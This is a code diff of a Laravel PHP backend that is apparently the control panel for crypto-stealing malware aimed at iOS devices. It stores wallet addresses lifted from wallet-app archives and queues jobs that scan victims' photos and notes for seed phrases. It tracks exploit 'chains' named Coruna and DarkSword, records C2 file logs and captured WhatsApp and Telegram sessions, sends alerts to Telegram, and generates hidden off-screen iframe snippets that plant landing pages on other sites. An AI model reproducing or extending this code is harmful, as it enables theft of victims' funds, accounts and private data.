||||||
|
WalletAddress::create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => $addr,
|
||||||
|
'chain_type' => $ct,
|
||||||
|
'source' => $sourceLabel,
|
||||||
|
]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
// skip
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function sourceFromFilename(string $filename): string
|
||||||
|
{
|
||||||
|
$fn = strtolower($filename);
|
||||||
|
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
|
||||||
|
if (str_contains($fn, 'tronlink')) return 'TronLink';
|
||||||
|
if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
|
||||||
|
if (str_contains($fn, 'bitpie')) return 'Bitpie';
|
||||||
|
if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
|
||||||
|
if (str_contains($fn, 'metamask')) return 'MetaMask';
|
||||||
|
if (str_contains($fn, 'coin98')) return 'Coin98';
|
||||||
|
if (str_contains($fn, 'phantom')) return 'Phantom';
|
||||||
|
if (str_contains($fn, 'uniswap')) return 'Uniswap';
|
||||||
|
if (str_contains($fn, 'exodus')) return 'Exodus';
|
||||||
|
if (str_contains($fn, 'tonhub')) return 'Tonhub';
|
||||||
|
if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
|
||||||
|
if (str_contains($fn, 'okex')) return 'OKX';
|
||||||
|
|
||||||
|
return substr(basename($filename, '.zip'), 0, 40);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isJson(string $content): bool
|
||||||
|
{
|
||||||
|
$t = ltrim($content);
|
||||||
|
return str_starts_with($t, '{') || str_starts_with($t, '[');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
class RecordPageHit implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $attrs
|
||||||
|
*/
|
||||||
|
public function __construct(
|
||||||
|
public array $attrs,
|
||||||
|
public int $chain,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function handle(): void
|
||||||
|
{
|
||||||
|
PageVisit::recordLanding($this->attrs, $this->chain);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\MnemonicScanService;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
class ScanDeviceNotes implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 60;
|
||||||
|
|
||||||
|
public function __construct(public int $deviceId) {}
|
||||||
|
|
||||||
|
public function handle(MnemonicScanService $scan): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->find($this->deviceId);
|
||||||
|
if ($device === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$scan->scanDeviceNotes($device);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Models\Photo;
|
||||||
|
use App\Services\MnemonicScanService;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
|
||||||
|
class ScanPhotoMnemonic implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 1;
|
||||||
|
|
||||||
|
public int $timeout = 120;
|
||||||
|
|
||||||
|
public function __construct(public int $photoId) {}
|
||||||
|
|
||||||
|
public function handle(MnemonicScanService $scan): void
|
||||||
|
{
|
||||||
|
$this->raiseMemoryLimit();
|
||||||
|
$photo = Photo::query()->with('device')->find($this->photoId);
|
||||||
|
if ($photo === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$scan->scanPhoto($photo);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function raiseMemoryLimit(): void
|
||||||
|
{
|
||||||
|
$raw = strtolower(trim((string) ini_get('memory_limit')));
|
||||||
|
if ($raw === '' || $raw === '-1') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$n = (int) $raw;
|
||||||
|
$bytes = match (substr($raw, -1)) {
|
||||||
|
'g' => $n * 1024 * 1024 * 1024,
|
||||||
|
'm' => $n * 1024 * 1024,
|
||||||
|
'k' => $n * 1024,
|
||||||
|
default => (int) $raw,
|
||||||
|
};
|
||||||
|
if ($bytes > 0 && $bytes < 256 * 1024 * 1024) {
|
||||||
|
ini_set('memory_limit', '256M');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Jobs;
|
||||||
|
|
||||||
|
use App\Services\TelegramNotifier;
|
||||||
|
use App\Support\SafeLog;
|
||||||
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||||
|
use Illuminate\Foundation\Queue\Queueable;
|
||||||
|
use RuntimeException;
|
||||||
|
use Throwable;
|
||||||
|
|
||||||
|
class SendTelegramMessage implements ShouldQueue
|
||||||
|
{
|
||||||
|
use Queueable;
|
||||||
|
|
||||||
|
public int $tries = 4;
|
||||||
|
|
||||||
|
public int $timeout = 25;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
public string $chatId,
|
||||||
|
public string $text,
|
||||||
|
public ?string $token = null,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/** @return list<int> */
|
||||||
|
public function backoff(): array
|
||||||
|
{
|
||||||
|
return [10, 60, 300];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function handle(TelegramNotifier $telegram): void
|
||||||
|
{
|
||||||
|
$result = $telegram->sendToChat($this->chatId, $this->text, $this->token);
|
||||||
|
if ($result['ok']) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$error = (string) ($result['error'] ?? 'unknown');
|
||||||
|
SafeLog::channel('telegram')->warning('SendTelegramMessage job failed', [
|
||||||
|
'chat_id' => $this->chatId,
|
||||||
|
'error' => $error,
|
||||||
|
'text_preview' => mb_substr($this->text, 0, 80),
|
||||||
|
'retryable' => TelegramNotifier::isRetryableSendError($error),
|
||||||
|
]);
|
||||||
|
|
||||||
|
if (TelegramNotifier::isRetryableSendError($error)) {
|
||||||
|
throw new RuntimeException('telegram send failed: '.$error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function failed(?Throwable $e): void
|
||||||
|
{
|
||||||
|
SafeLog::channel('telegram')->error('SendTelegramMessage given up after retries', [
|
||||||
|
'chat_id' => $this->chatId,
|
||||||
|
'error' => $e?->getMessage(),
|
||||||
|
'text_preview' => mb_substr($this->text, 0, 80),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -14,6 +14,8 @@ class Admin extends Authenticatable
|
|||||||
'google_auth_open',
|
'google_auth_open',
|
||||||
'google_secret',
|
'google_secret',
|
||||||
'last_ip',
|
'last_ip',
|
||||||
|
'login_attempts',
|
||||||
|
'locked_at',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $hidden = ['password', 'remember_token', 'google_secret'];
|
protected $hidden = ['password', 'remember_token', 'google_secret'];
|
||||||
@@ -25,6 +27,8 @@ class Admin extends Authenticatable
|
|||||||
'is_super' => 'integer',
|
'is_super' => 'integer',
|
||||||
'status' => 'integer',
|
'status' => 'integer',
|
||||||
'google_auth_open' => 'integer',
|
'google_auth_open' => 'integer',
|
||||||
|
'login_attempts' => 'integer',
|
||||||
|
'locked_at' => 'datetime',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -37,4 +41,55 @@ class Admin extends Authenticatable
|
|||||||
{
|
{
|
||||||
return (int) $this->status === 1;
|
return (int) $this->status === 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function isLocked(): bool
|
||||||
|
{
|
||||||
|
return $this->locked_at !== null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Increment the consecutive failed-login counter; auto-lock when the
|
||||||
|
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||||
|
* triggers a lock.
|
||||||
|
*/
|
||||||
|
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||||
|
{
|
||||||
|
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||||
|
$justLocked = false;
|
||||||
|
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||||
|
$this->locked_at = now();
|
||||||
|
$justLocked = true;
|
||||||
|
}
|
||||||
|
$this->save();
|
||||||
|
|
||||||
|
return $justLocked;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reset the failed-login counter (called after a successful login or
|
||||||
|
* when an admin manually unlocks the account).
|
||||||
|
*/
|
||||||
|
public function clearLoginAttempts(): void
|
||||||
|
{
|
||||||
|
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||||
|
$this->login_attempts = 0;
|
||||||
|
$this->locked_at = null;
|
||||||
|
$this->save();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasGoogleBound(): bool
|
||||||
|
{
|
||||||
|
return filled($this->google_secret);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function requiresLoginGoogle(): bool
|
||||||
|
{
|
||||||
|
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function canRevealMnemonics(): bool
|
||||||
|
{
|
||||||
|
return $this->isSuper() || (bool) config('coruna.mnemonic_reveal.staff_enabled');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,53 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class AnalyticsDailyDim extends Model
|
||||||
|
{
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
public const KIND_VISIT_OS = 'visit_os';
|
||||||
|
|
||||||
|
public const KIND_VISIT_VERSION = 'visit_version';
|
||||||
|
|
||||||
|
public const KIND_DEVICE_VERSION = 'device_version';
|
||||||
|
|
||||||
|
public const KIND_VISIT_COUNTRY = 'visit_country';
|
||||||
|
|
||||||
|
public const KIND_DEVICE_COUNTRY = 'device_country';
|
||||||
|
|
||||||
|
public const KIND_SURVIVAL = 'survival';
|
||||||
|
|
||||||
|
public const KIND_SURVIVAL_WALLET = 'survival_wallet';
|
||||||
|
|
||||||
|
public const DIM_IOS = 'iOS';
|
||||||
|
|
||||||
|
public const DIM_OTHER = '其他';
|
||||||
|
|
||||||
|
public const DIM_UNKNOWN = '未知';
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'stat_date',
|
||||||
|
'scope_key',
|
||||||
|
'kind',
|
||||||
|
'dim',
|
||||||
|
'uv',
|
||||||
|
'effective_uv',
|
||||||
|
'devices',
|
||||||
|
'seconds_sum',
|
||||||
|
'computed_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'uv' => 'integer',
|
||||||
|
'effective_uv' => 'integer',
|
||||||
|
'devices' => 'integer',
|
||||||
|
'seconds_sum' => 'integer',
|
||||||
|
'computed_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
+181
-10
@@ -4,15 +4,64 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
class Channel extends Model
|
class Channel extends Model
|
||||||
{
|
{
|
||||||
public const OFFICIAL_USER_ID = 0;
|
public const OFFICIAL_USER_ID = 0;
|
||||||
|
|
||||||
protected $fillable = [
|
public const BUILDER_OLD = 'old';
|
||||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
|
||||||
|
public const BUILDER_NEW = 'new';
|
||||||
|
|
||||||
|
public const BUILDER_APP = 'app';
|
||||||
|
|
||||||
|
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
|
||||||
|
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Public-root path prefixes that must not be used as old 32-hex channel IDs.
|
||||||
|
*
|
||||||
|
* @var list<string>
|
||||||
|
*/
|
||||||
|
public const RESERVED_CHANNEL_NAMES = [
|
||||||
|
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||||
|
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||||
|
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||||
|
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||||
|
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||||
|
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||||
|
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||||
|
'app_name', 'bundle_id', 'h5_url',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $attributes = [
|
||||||
|
'builder_type' => self::BUILDER_OLD,
|
||||||
|
];
|
||||||
|
|
||||||
|
protected static function booted(): void
|
||||||
|
{
|
||||||
|
$bust = static function (Channel $channel): void {
|
||||||
|
$svc = app(\App\Services\FilterOptionsService::class);
|
||||||
|
$svc->forgetChannels();
|
||||||
|
$uids = array_unique(array_filter([
|
||||||
|
(int) $channel->user_id,
|
||||||
|
(int) $channel->getOriginal('user_id'),
|
||||||
|
]));
|
||||||
|
foreach ($uids as $uid) {
|
||||||
|
if ($uid > 0) {
|
||||||
|
$svc->forgetChannels($uid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
static::saved($bust);
|
||||||
|
static::deleted($bust);
|
||||||
|
}
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
@@ -37,6 +86,30 @@ class Channel extends Model
|
|||||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function isNewBuilder(): bool
|
||||||
|
{
|
||||||
|
return $this->builderType() === self::BUILDER_NEW;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isAppBuilder(): bool
|
||||||
|
{
|
||||||
|
return $this->builderType() === self::BUILDER_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function builderType(): string
|
||||||
|
{
|
||||||
|
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
||||||
|
|
||||||
|
if ($type === self::BUILDER_NEW) {
|
||||||
|
return self::BUILDER_NEW;
|
||||||
|
}
|
||||||
|
if ($type === self::BUILDER_APP) {
|
||||||
|
return self::BUILDER_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::BUILDER_OLD;
|
||||||
|
}
|
||||||
|
|
||||||
public function agentLabel(): string
|
public function agentLabel(): string
|
||||||
{
|
{
|
||||||
if ($this->isOfficial()) {
|
if ($this->isOfficial()) {
|
||||||
@@ -47,8 +120,8 @@ class Channel extends Model
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Domains for support-link display and builder channel hosts.
|
* Domains for support-link display.
|
||||||
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
|
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS (system settings).
|
||||||
*
|
*
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
@@ -83,18 +156,22 @@ class Channel extends Model
|
|||||||
}, $domains))));
|
}, $domains))));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function landingPath(): string
|
||||||
|
{
|
||||||
|
if ($this->isNewBuilder()) {
|
||||||
|
return '/channel/'.$this->channel_id.'/weifile/weifile.html';
|
||||||
|
}
|
||||||
|
|
||||||
|
return '/web/'.$this->channel_id.'/support.html';
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
public function supportLinks(): array
|
public function supportLinks(): array
|
||||||
{
|
{
|
||||||
$links = [];
|
$links = [];
|
||||||
$path = '/web/'.$this->channel_id.'/support.html';
|
$path = $this->landingPath();
|
||||||
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
|
|
||||||
if ($baseUrl !== '') {
|
|
||||||
$links[] = $baseUrl.$path;
|
|
||||||
}
|
|
||||||
|
|
||||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||||
foreach ($this->resolvedDomains() as $domain) {
|
foreach ($this->resolvedDomains() as $domain) {
|
||||||
$origin = rtrim($domain, '/');
|
$origin = rtrim($domain, '/');
|
||||||
@@ -110,11 +187,105 @@ class Channel extends Model
|
|||||||
return array_values(array_unique($links));
|
return array_values(array_unique($links));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
|
||||||
|
*/
|
||||||
|
public function promoIframeSnippet(?string $url = null): ?string
|
||||||
|
{
|
||||||
|
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
|
||||||
|
if ($url === '') {
|
||||||
|
$base = rtrim((string) config('app.url'), '/');
|
||||||
|
if ($base === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$url = $base.$this->landingPath();
|
||||||
|
}
|
||||||
|
|
||||||
|
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function promoScriptSnippet(): string
|
||||||
|
{
|
||||||
|
return '<script src="./index.js"></script>';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function embedAssetDir(): ?string
|
||||||
|
{
|
||||||
|
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
|
||||||
|
$dir = match ($this->builderType()) {
|
||||||
|
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
|
||||||
|
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
if ($dir === null || ! is_dir($dir)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $dir;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function embedZipName(): string
|
||||||
|
{
|
||||||
|
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
|
||||||
|
|
||||||
|
return 'channel-embed-'.$safe.'.zip';
|
||||||
|
}
|
||||||
|
|
||||||
public static function randomChannelId(): string
|
public static function randomChannelId(): string
|
||||||
{
|
{
|
||||||
return bin2hex(random_bytes(16));
|
return bin2hex(random_bytes(16));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** UUID v4 channel id for app builder channels (e.g. a13b4f76-d901-46f5-b447-36b7e856ea31). */
|
||||||
|
public static function randomAppChannelId(): string
|
||||||
|
{
|
||||||
|
for ($i = 0; $i < 64; $i++) {
|
||||||
|
$uuid = \Illuminate\Support\Str::uuid()->toString();
|
||||||
|
if (! self::query()->where('channel_id', $uuid)->exists()) {
|
||||||
|
return $uuid;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function normalizeNewChannelId(string $channelId): ?string
|
||||||
|
{
|
||||||
|
$channelId = strtoupper(trim($channelId));
|
||||||
|
if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $channelId;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function randomNewChannelId(): string
|
||||||
|
{
|
||||||
|
$chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
|
||||||
|
$pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)];
|
||||||
|
|
||||||
|
for ($i = 0; $i < 64; $i++) {
|
||||||
|
$code = $pick().'.'.$pick().'.'.$pick().$pick();
|
||||||
|
if (self::query()->where('channel_id', $code)->exists()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $code;
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function channelPublicRelativeDir(): string
|
||||||
|
{
|
||||||
|
return 'channel/'.$this->channel_id;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function isReservedChannelName(string $name): bool
|
||||||
|
{
|
||||||
|
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||||
|
}
|
||||||
|
|
||||||
public static function maxPerAgent(): int
|
public static function maxPerAgent(): int
|
||||||
{
|
{
|
||||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class DailyStat extends Model
|
||||||
|
{
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
public const SCOPE_ALL = '';
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'stat_date',
|
||||||
|
'scope_key',
|
||||||
|
'pv',
|
||||||
|
'uv',
|
||||||
|
'effective_pv',
|
||||||
|
'effective_uv',
|
||||||
|
'devices',
|
||||||
|
'wallet_devices',
|
||||||
|
'address_count',
|
||||||
|
'mnemonic_count',
|
||||||
|
'computed_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'pv' => 'integer',
|
||||||
|
'uv' => 'integer',
|
||||||
|
'effective_pv' => 'integer',
|
||||||
|
'effective_uv' => 'integer',
|
||||||
|
'devices' => 'integer',
|
||||||
|
'wallet_devices' => 'integer',
|
||||||
|
'address_count' => 'integer',
|
||||||
|
'mnemonic_count' => 'integer',
|
||||||
|
'computed_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
+270
-1
@@ -2,22 +2,250 @@
|
|||||||
|
|
||||||
namespace App\Models;
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
class Device extends Model
|
class Device extends Model
|
||||||
{
|
{
|
||||||
|
public const WALLET_UNKNOWN = 0;
|
||||||
|
|
||||||
|
public const WALLET_NONE = 1;
|
||||||
|
|
||||||
|
public const WALLET_YES = 2;
|
||||||
|
|
||||||
|
public const CHAIN_CORUNA = 1;
|
||||||
|
|
||||||
|
public const CHAIN_DARKSWORD = 2;
|
||||||
|
|
||||||
|
public const CHAIN_APP = 3;
|
||||||
|
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
|
||||||
|
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||||
|
'has_whatsapp', 'has_telegram',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $attributes = [
|
||||||
|
'has_wallet' => self::WALLET_UNKNOWN,
|
||||||
|
'chain' => self::CHAIN_CORUNA,
|
||||||
|
'album_storage' => false,
|
||||||
|
'has_whatsapp' => false,
|
||||||
|
'has_telegram' => false,
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'telegram_notified' => 'boolean',
|
'telegram_notified' => 'boolean',
|
||||||
|
'album_storage' => 'boolean',
|
||||||
|
'has_wallet' => 'integer',
|
||||||
|
'chain' => 'integer',
|
||||||
|
'wallet_names' => 'array',
|
||||||
|
'has_whatsapp' => 'boolean',
|
||||||
|
'has_telegram' => 'boolean',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function formattedIp(): string
|
||||||
|
{
|
||||||
|
$ip = trim((string) $this->ip);
|
||||||
|
if ($ip === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
$label = CfIpCountry::label($this->resolvedCountry());
|
||||||
|
|
||||||
|
return $label !== '' ? $ip.'('.$label.')' : $ip;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function resolvedCountry(): ?string
|
||||||
|
{
|
||||||
|
$code = CfIpCountry::normalize($this->country);
|
||||||
|
if ($code !== null) {
|
||||||
|
return $code;
|
||||||
|
}
|
||||||
|
$ip = trim((string) $this->ip);
|
||||||
|
if ($ip === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return CfIpCountry::normalize(
|
||||||
|
PageVisit::query()
|
||||||
|
->where('ip', $ip)
|
||||||
|
->whereNotNull('country')
|
||||||
|
->where('country', '!=', '')
|
||||||
|
->orderByDesc('id')
|
||||||
|
->value('country')
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isDarkSword(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isApp(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->chain === self::CHAIN_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasWalletApps(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->has_wallet === self::WALLET_YES;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function walletNameList(): array
|
||||||
|
{
|
||||||
|
$names = $this->wallet_names;
|
||||||
|
if (! is_array($names)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasWhatsApp(): bool
|
||||||
|
{
|
||||||
|
return (bool) $this->has_whatsapp;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasTelegram(): bool
|
||||||
|
{
|
||||||
|
return (bool) $this->has_telegram;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function imNameList(): array
|
||||||
|
{
|
||||||
|
$names = [];
|
||||||
|
if ($this->hasWhatsApp()) {
|
||||||
|
$names[] = 'WhatsApp';
|
||||||
|
}
|
||||||
|
if ($this->hasTelegram()) {
|
||||||
|
$names[] = 'Telegram';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $names;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function refreshImFlags(): void
|
||||||
|
{
|
||||||
|
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
|
||||||
|
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
|
||||||
|
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
|
||||||
|
$this->save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function albumStorageEnabled(): bool
|
||||||
|
{
|
||||||
|
return (bool) ($this->album_storage ?? false);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Photos and C2/DS file logs — only when album is on or wallet apps are present. */
|
||||||
|
public function persistCaptureEnabled(): bool
|
||||||
|
{
|
||||||
|
return $this->albumStorageEnabled() || $this->hasWalletApps();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Normalize a DarkSword device key to the canonical dashed UUID format
|
||||||
|
* (8-4-4-4-12, uppercase). This is the single source of truth used by
|
||||||
|
* extractDeviceKey, captureEnabledForKey, and register() so that storage
|
||||||
